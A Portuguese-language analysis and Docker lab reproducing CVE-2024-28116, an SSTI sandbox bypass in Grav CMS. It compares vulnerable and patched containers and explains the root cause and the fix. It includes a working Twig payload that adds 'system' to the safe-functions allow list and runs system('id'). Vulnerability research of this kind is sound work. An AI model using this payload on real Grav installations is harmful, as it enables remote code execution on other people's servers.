
Análise e reprodução em Docker do CVE-2024-28116 - SSTI com bypass de sandbox no Grav CMS
Análise e reprodução em Docker do CVE-2024-28116, uma vulnerabilidade de Injeção de Template no Lado do Servidor (SSTI) com bypass do sandbox de segurança nas versões do Grav CMS até a 1.7.44 inclusive, corrigida na versão 1.7.45.
Reportado por: Maurizio Siddu (akabe1)
Pontuação CVSS v3.1: 8.8 (Alta)
Corrigido em: Grav CMS 1.7.45
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable
Abra o navegador em http://localhost:8080/admin e crie uma conta de administrador no primeiro acesso.
http://localhost:8080/admintest page e clique em Continuar{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
http://localhost:8080/test-pageIsso confirma a Execução Remota de Código como o usuário do servidor web.
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched
Abra o navegador em http://localhost:8081/admin e repita todos os passos do exploit acima, direcionando para http://localhost:8081/test-page.
A página ficará completamente em branco. O método cleanDangerousTwig() em Security.php detecta e bloqueia a diretiva twig.safe_functions antes que ela chegue ao mecanismo Twig. A lista de permissões nunca é modificada e o comando nunca é executado.
A vulnerabilidade está localizada em system/src/Grav/Common/Twig.php. O Grav implementa um sandbox para impedir que funções PHP perigosas sejam chamadas dentro de templates Twig, com base em uma lista negra verificada por isDangerousFunction(). No entanto, o sandbox não protege o próprio objeto Twig. Um usuário com nível de editor pode interagir com o objeto Twig por meio de diretivas de template maliciosas e sobrescrever a lista de permissões system.twig.safe_functions em tempo de execução. Uma vez que uma função perigosa como system() é adicionada à lista de permissões, a verificação do sandbox é ignorada e a função é executada livremente.
O patch adiciona 'twig.safe_functions' à lista de padrões bloqueados dentro do método cleanDangerousTwig() em system/src/Grav/Common/Security.php. Qualquer diretiva que contenha essa string é neutralizada antes de chegar ao mecanismo Twig, tornando impossível para um editor modificar a lista de permissões a partir de um template.